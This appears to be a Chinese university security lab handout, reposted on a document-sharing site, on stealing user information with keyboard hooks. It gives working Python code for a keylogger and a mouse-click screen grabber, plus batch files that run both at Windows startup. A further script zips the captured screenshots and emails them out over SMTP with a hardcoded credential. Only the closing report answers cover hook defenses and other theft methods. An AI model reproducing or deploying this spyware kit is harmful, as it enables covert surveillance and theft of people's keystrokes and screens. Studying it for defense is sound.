版權(quán)說(shuō)明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請(qǐng)進(jìn)行舉報(bào)或認(rèn)領(lǐng)
文檔簡(jiǎn)介
實(shí)驗(yàn)4B利用鍵盤鉤子竊取用戶信息一、實(shí)驗(yàn)?zāi)康恼莆真I盤鉤子的原理,通過pynput制作鍵盤鉤子監(jiān)視鍵盤和鼠標(biāo)動(dòng)態(tài)。實(shí)現(xiàn)代碼的自動(dòng)啟動(dòng),并定時(shí)把竊取信息自動(dòng)發(fā)送自己的郵箱。二、實(shí)驗(yàn)準(zhǔn)備Windows系統(tǒng)是建立在事件驅(qū)動(dòng)的機(jī)制上的,即整個(gè)系統(tǒng)都是通過消息的傳遞來(lái)實(shí)現(xiàn)的。鉤子在Windows操作系統(tǒng)中,是一種能在事件到達(dá)應(yīng)用程序前中途截獲事件的機(jī)制,是Windows系統(tǒng)中非常重要的系統(tǒng)接口,用它可以截獲并處理送給其他應(yīng)用程序的消息,來(lái)完成普通應(yīng)用程序難以實(shí)現(xiàn)的功能。鉤子可以監(jiān)視系統(tǒng)或進(jìn)程中的各種事件消息,截獲發(fā)往目標(biāo)窗口的消息并進(jìn)行處理。鍵盤鉤子和低級(jí)鍵盤鉤子可以監(jiān)視各種鍵盤消息,鼠標(biāo)鉤子和低級(jí)鼠標(biāo)鉤子可以監(jiān)視各種鼠標(biāo)消息,外殼鉤子可以監(jiān)視各種Shell事件消息,日志鉤子可以記錄從系統(tǒng)消息隊(duì)列中取出的各種事件消息,窗口過程鉤子監(jiān)視所有從系統(tǒng)消息隊(duì)列發(fā)往目標(biāo)窗口的消息。我們可以在系統(tǒng)中安裝自定義的鉤子,監(jiān)視系統(tǒng)中特定事件的發(fā)生,完成特定的功能,比如截獲鍵盤、鼠標(biāo)的輸入,屏幕取詞,日志監(jiān)視等等。我們通過Windows提供的原生API來(lái)實(shí)現(xiàn)鉤子并盜取,通過SetWindowsHookEx()來(lái)設(shè)置鉤子,當(dāng)鉤子函數(shù)得到控制權(quán),并對(duì)相關(guān)事件處理完后,如果要消息得以繼續(xù)傳遞,則必須調(diào)用另一個(gè)函數(shù)CallNextHookEx(),當(dāng)不再使用鉤子時(shí),可調(diào)用UnhookWindowsHookEx()函數(shù)及時(shí)卸載。本實(shí)驗(yàn)我們采用安裝更加簡(jiǎn)易的pynput庫(kù)來(lái)監(jiān)視鼠標(biāo)和鍵盤,通過pynput.mouse.Listener對(duì)鼠標(biāo)點(diǎn)擊事件與滾動(dòng)事件進(jìn)行監(jiān)聽,同時(shí)開辟新的進(jìn)程,利用pynput.keyboard.Listener對(duì)鍵盤的輸入事件進(jìn)行監(jiān)聽,并對(duì)監(jiān)聽結(jié)果進(jìn)行處理。三、實(shí)驗(yàn)內(nèi)容1、通過鍵盤鉤子監(jiān)視鍵盤和鼠標(biāo)動(dòng)態(tài)(Monitor.py)frompynput.keyboardimportListener
importlogging
wenjianweizhi="D:\實(shí)訓(xùn)測(cè)試\key\\"
logging.basicConfig(filename=(wenjianweizhi+"keylogger.txt"),level=logging.DEBUG,format="%(asctime)s:%(message)s")
defpress(key):
(key)
withListener(on_press=press)aslistener:
listener.join()2、點(diǎn)擊鼠標(biāo)時(shí)生成截圖,并以時(shí)間戳命名(mouse.py)frompynput.mouseimportListenerimportloggingfromPILimportImage,ImageGrabimportrandomimporttimewenjianweizhi="D:\實(shí)訓(xùn)測(cè)試\key\\"logging.basicConfig(filename=(wenjianweizhi+"keylogger.txt"),level=logging.DEBUG,format="%(asctime)s:%(message)s")defclick(x,y,button,pressed):jietu=ImageGrab.grab()name=str((int(round(time.time()*1000000))))jietu.save("D:\實(shí)訓(xùn)測(cè)試\image\\"+name+".jpg")("mouseclick({0},{1},{2})".format(x,y,button))defscroll(x,y,dx,dy):("mousescroll({0},{1},{2})".format(x,y,dx,dy))withListener(on_click=click,on_scroll=scroll)aslistener:listener.join()3、確保程序不會(huì)被多次啟動(dòng)(wanmei.py)importosi=0forlineinos.popen('tasklist').readlines():ifline[0:7]=="py.exe":i+=1ifi<=1:os.popen(r'Monitor.py')os.popen(r'mouse.py')4、實(shí)現(xiàn)程序代碼開機(jī)時(shí)自啟把上述幾個(gè)文件做成.bat腳本文件,放入C:\Users\root\AppData\Roaming\Microsoft\Windows\StartMenu\Programs\Startup目錄下,就能夠開機(jī)時(shí)自動(dòng)執(zhí)行腳本里的內(nèi)容了。 將Monitor.py,mouse.py,wamei.py,send.py分別寫入一個(gè)bat文件;寫一個(gè)startAll.bat,讓以上4個(gè)bat文件同時(shí)運(yùn)行。要實(shí)現(xiàn)定時(shí)發(fā)送郵件,就在那send.bat寫入:Again—goagain的循環(huán),設(shè)置循環(huán)時(shí)間。本實(shí)驗(yàn)為了方便設(shè)置為60秒。1)::Monitor.bat文件PythonC:\Users\cat\Desktop\venv\Monitor.py2)::mouse.bat文件PythonC:\Users\cat\Desktop\venv\mouse.py3)::wanmei.bat文件PythonC:\Users\cat\Desktop\venv\wanmei.py4)::send.bat文件@echooffsetINTERVAL=60:Againtaskkill/f/t/imC:\Users\cat\Desktop\venv\send.pyC:cdC:\Users\cat\Desktop\venvstartPythonC:\Users\cat\Desktop\venv\send.pytimeout%INTERVAL%gotoAgain5)::startAll.bat文件@echooffstartC:\Users\cat\Desktop\venv\Monitor.batstartC:\Users\cat\Desktop\venv\mouse.batstartC:\Users\cat\Desktop\venv\wanmei.batstartC:\Users\cat\Desktop\venv\send.bat5、將生成文件和圖片以郵件的形式發(fā)送importemailimportmimetypesimportosimportsmtplibfromemailimportencodersfromemail.mime.baseimportMIMEBaseimportzipfilefromemail.mime.multipartimportMIMEMultipartfromaddr='163.com'password='FTEQQECXWSVMWCAZ'#stmp碼toaddrs=['163.com']defzipDir(path,outFullName):zip=zipfile.ZipFile(outFullName,mode='w',compression=zipfile.ZIP_STORED)forpath,dirnames,filenamesinos.walk(path):fpath=path.replace(path,'')forfilenameinfilenames:zip.write(os.path.join(path,filename),os.path.join(fpath,filename))zip.close()print('壓縮成功!')#發(fā)送郵件path=r'D:\實(shí)訓(xùn)測(cè)試\image'#壓縮哪一個(gè)文件zipDir(path,r'D:\實(shí)訓(xùn)測(cè)試\image.zip')#壓縮文件存放msg=MIMEMultipart()filepath="D:\實(shí)訓(xùn)測(cè)試\image.zip"data=open(filepath,'rb')ctype,encoding=mimetypes.guess_type(filepath)ifctypeisNoneorencodingisnotNone:ctype='application/octet-stream'maintype,subtype=ctype.split('/',1)file_msg=MIMEBase(maintype,subtype)file_msg.set_payload(data.read())data.close()encoders.encode_base64(file_msg)file_msg.add_header('Content-Disposition','attachment',filename="image.zip")msg.attach(file_msg)try:server=smtplib.SMTP('')server.login(fromaddr,password)server.sendmail(fromaddr,toaddrs,msg.as_string())print('success')server.quit()exceptsmtplib.SMTPExceptionase:print('error',e)四、實(shí)驗(yàn)報(bào)告通過實(shí)驗(yàn)回答下列問題:給出上述實(shí)驗(yàn)每一步的運(yùn)行結(jié)果。1、2、3、在mouse.py和monitor.py一直跳轉(zhuǎn)4、5、如何把幾個(gè)python文件做成.bat文件?用TXT文本文檔寫入bat命令,再把文件后綴重命名為bat即可簡(jiǎn)答題什么是鉤子函數(shù)?如何防御鍵盤鉤子?鍵盤鉤子是一種可以監(jiān)控鍵盤操作的指令。狹義鉤子:通過系統(tǒng)調(diào)用插入的鉤子。鉤子的本質(zhì)是一段用以處理系統(tǒng)消息的程序,通過系統(tǒng)調(diào)用,將其掛入系統(tǒng)。鉤子的種類有很多,每種鉤子可以截獲并處理相應(yīng)的消息,每當(dāng)特定的消息發(fā)出,在到達(dá)目的窗口之前,鉤子程序先行截獲該消息、得到對(duì)此消息的控制權(quán)。此時(shí)在鉤子函數(shù)中就可以對(duì)截獲的消息進(jìn)行加工處理,甚至可以強(qiáng)制結(jié)束消息的傳遞。而鍵盤鉤子,只是為了截獲鍵盤消息的。全局鉤子可以捕獲在Windows平臺(tái)下任意窗口上的鍵盤操作。捕獲就是獲取鍵盤輸入信息,一些QQ、游戲盜號(hào)程序就是鍵盤鉤子。廣義鉤子:直接修改指令段獲得控制的鉤子。這種鉤子更強(qiáng)大,理論上可以任意修改計(jì)算機(jī)的行為。鍵盤鉤子的防御方法:1、使用電腦管家、360定時(shí)全盤殺毒、打開防火墻2、以毒攻毒,以鍵盤鉤子對(duì)付鍵盤監(jiān)視:即在應(yīng)用程序中需要鍵盤輸入時(shí),應(yīng)用程序自己創(chuàng)建并安裝一個(gè)鍵盤監(jiān)視鉤子,并使其處于鉤子鏈的頂端,這樣鍵盤輸入的信息就會(huì)被自己的鉤子處理、解惑。只要在鉤子處理程序中不再調(diào)用CallNextHookEx函數(shù),即不把消息傳遞給下面的鉤子。原理:1.鉤子鏈可以被破壞.同一類型的鉤子會(huì)形成一個(gè)鏈,假如先被調(diào)用的鉤子沒有調(diào)用CallNextHookEx的話,后面的鉤子將得不到調(diào)用.2.對(duì)于某個(gè)特定的線程,如果既安裝了線程鉤子又安裝了系統(tǒng)鉤子,則線程鉤子先于系統(tǒng)鉤子被調(diào)用.3、檢查自己電腦的開機(jī)啟動(dòng)文件夾,刪除可疑文件4、HOOKAPI技術(shù),5、平時(shí)不要點(diǎn)擊不安全的網(wǎng)站和鏈接。6、安裝Comodo殺毒軟件除了鉤子外還有哪幾種竊取用戶信息的方法?給出相應(yīng)防御方法。一)網(wǎng)絡(luò)釣魚:黑客通過該技術(shù)復(fù)制訪問最多的網(wǎng)站,并通過發(fā)送欺騙性鏈接來(lái)捕獲受害者。一旦受害者想要登錄或者輸入一些數(shù)據(jù)的話,黑客就會(huì)使用假網(wǎng)站上運(yùn)行的木馬獲取目標(biāo)受害者的私人信息。防御方法:1、不點(diǎn)擊沒有數(shù)字證書的網(wǎng)站。2、不輕易點(diǎn)擊充滿誘惑性的鏈接(如中獎(jiǎng)、退稅等)。3、不在不可信的網(wǎng)站上進(jìn)行在線交易。4、核對(duì)網(wǎng)址。5、內(nèi)容過濾:由于員工粗心瀏覽互聯(lián)網(wǎng),許多企業(yè)成為網(wǎng)絡(luò)釣魚攻擊的犧牲品。Web過濾或內(nèi)容過濾策略可以幫助阻止訪問某些站點(diǎn),從而顯著降低訪問風(fēng)險(xiǎn)網(wǎng)站的可能性。二)誘餌和開關(guān): 一般攻擊者會(huì)先在網(wǎng)站上買廣告位,使用誘餌和切換黑客的技術(shù)。當(dāng)用戶一旦點(diǎn)擊了網(wǎng)頁(yè)廣告時(shí),可能就會(huì)定向跳轉(zhuǎn)到了惡意軟件的網(wǎng)頁(yè),這種也是最普遍的最容易中毒的方式之一。然后他們可以在用戶的電腦上進(jìn)一步安裝惡意的軟件,而且這種軟件中的廣告和鏈接是非常吸引,所以用戶一般都會(huì)同意安裝。隨后黑客就能運(yùn)行用戶認(rèn)為安全真實(shí)的惡意程序,可以無(wú)權(quán)的訪問該電腦。 防御方法:1、不要點(diǎn)擊網(wǎng)站上的廣告;2、安裝殺毒軟件三)虛假WIFI: 防御方法:1、外出時(shí)關(guān)閉WIFI,使用數(shù)據(jù)流量,防止自動(dòng)連上WIFI。2、檢查設(shè)備是否連上不熟悉的WIFI。四)病毒,特洛伊木馬等特洛伊木馬已特指一種惡意軟件程序,它能夠偽裝成其他程序或通過其他方式入侵您的計(jì)算機(jī),并對(duì)您的計(jì)算機(jī)系統(tǒng)進(jìn)行破
溫馨提示
- 1. 本站所有資源如無(wú)特殊說(shuō)明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請(qǐng)下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請(qǐng)聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁(yè)內(nèi)容里面會(huì)有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫(kù)網(wǎng)僅提供信息存儲(chǔ)空間,僅對(duì)用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對(duì)用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對(duì)任何下載內(nèi)容負(fù)責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請(qǐng)與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時(shí)也不承擔(dān)用戶因使用這些下載資源對(duì)自己和他人造成任何形式的傷害或損失。
最新文檔
- 2025年互聯(lián)網(wǎng)醫(yī)療解決方案技術(shù)合作協(xié)議
- 2025年雙方協(xié)商勞務(wù)派遣協(xié)議
- 2025年P(guān)PP項(xiàng)目合作財(cái)務(wù)管理協(xié)議
- 主材供應(yīng)及合作框架合同 2024年版一
- 2025版區(qū)塊鏈技術(shù)應(yīng)用合伙人合作協(xié)議3篇
- 2025年度智能建筑安裝工程承包技師合同4篇
- 二零二五年度酒吧食品安全管理與承包合同
- 2025年度城市公交車定點(diǎn)維修與應(yīng)急保障合同
- 二零二五年度汽車維修免責(zé)聲明適用于車主自帶配件
- 2025年度地鐵隧道鋼筋工勞務(wù)施工安全質(zhì)量保障合同
- 建筑結(jié)構(gòu)課程設(shè)計(jì)成果
- 班級(jí)建設(shè)方案中等職業(yè)學(xué)校班主任能力大賽
- 纖維增強(qiáng)復(fù)合材料 單向增強(qiáng)材料Ⅰ型-Ⅱ 型混合層間斷裂韌性的測(cè)定 編制說(shuō)明
- 習(xí)近平法治思想概論教學(xué)課件緒論
- 寵物會(huì)展策劃設(shè)計(jì)方案
- 孤殘兒童護(hù)理員(四級(jí))試題
- 梁湘潤(rùn)《子平基礎(chǔ)概要》簡(jiǎn)體版
- 醫(yī)院急診醫(yī)學(xué)小講課課件:急診呼吸衰竭的處理
- 腸梗阻導(dǎo)管在臨床中的使用及護(hù)理課件
- 小學(xué)英語(yǔ)單詞匯總大全打印
- 衛(wèi)生健康系統(tǒng)安全生產(chǎn)隱患全面排查
評(píng)論
0/150
提交評(píng)論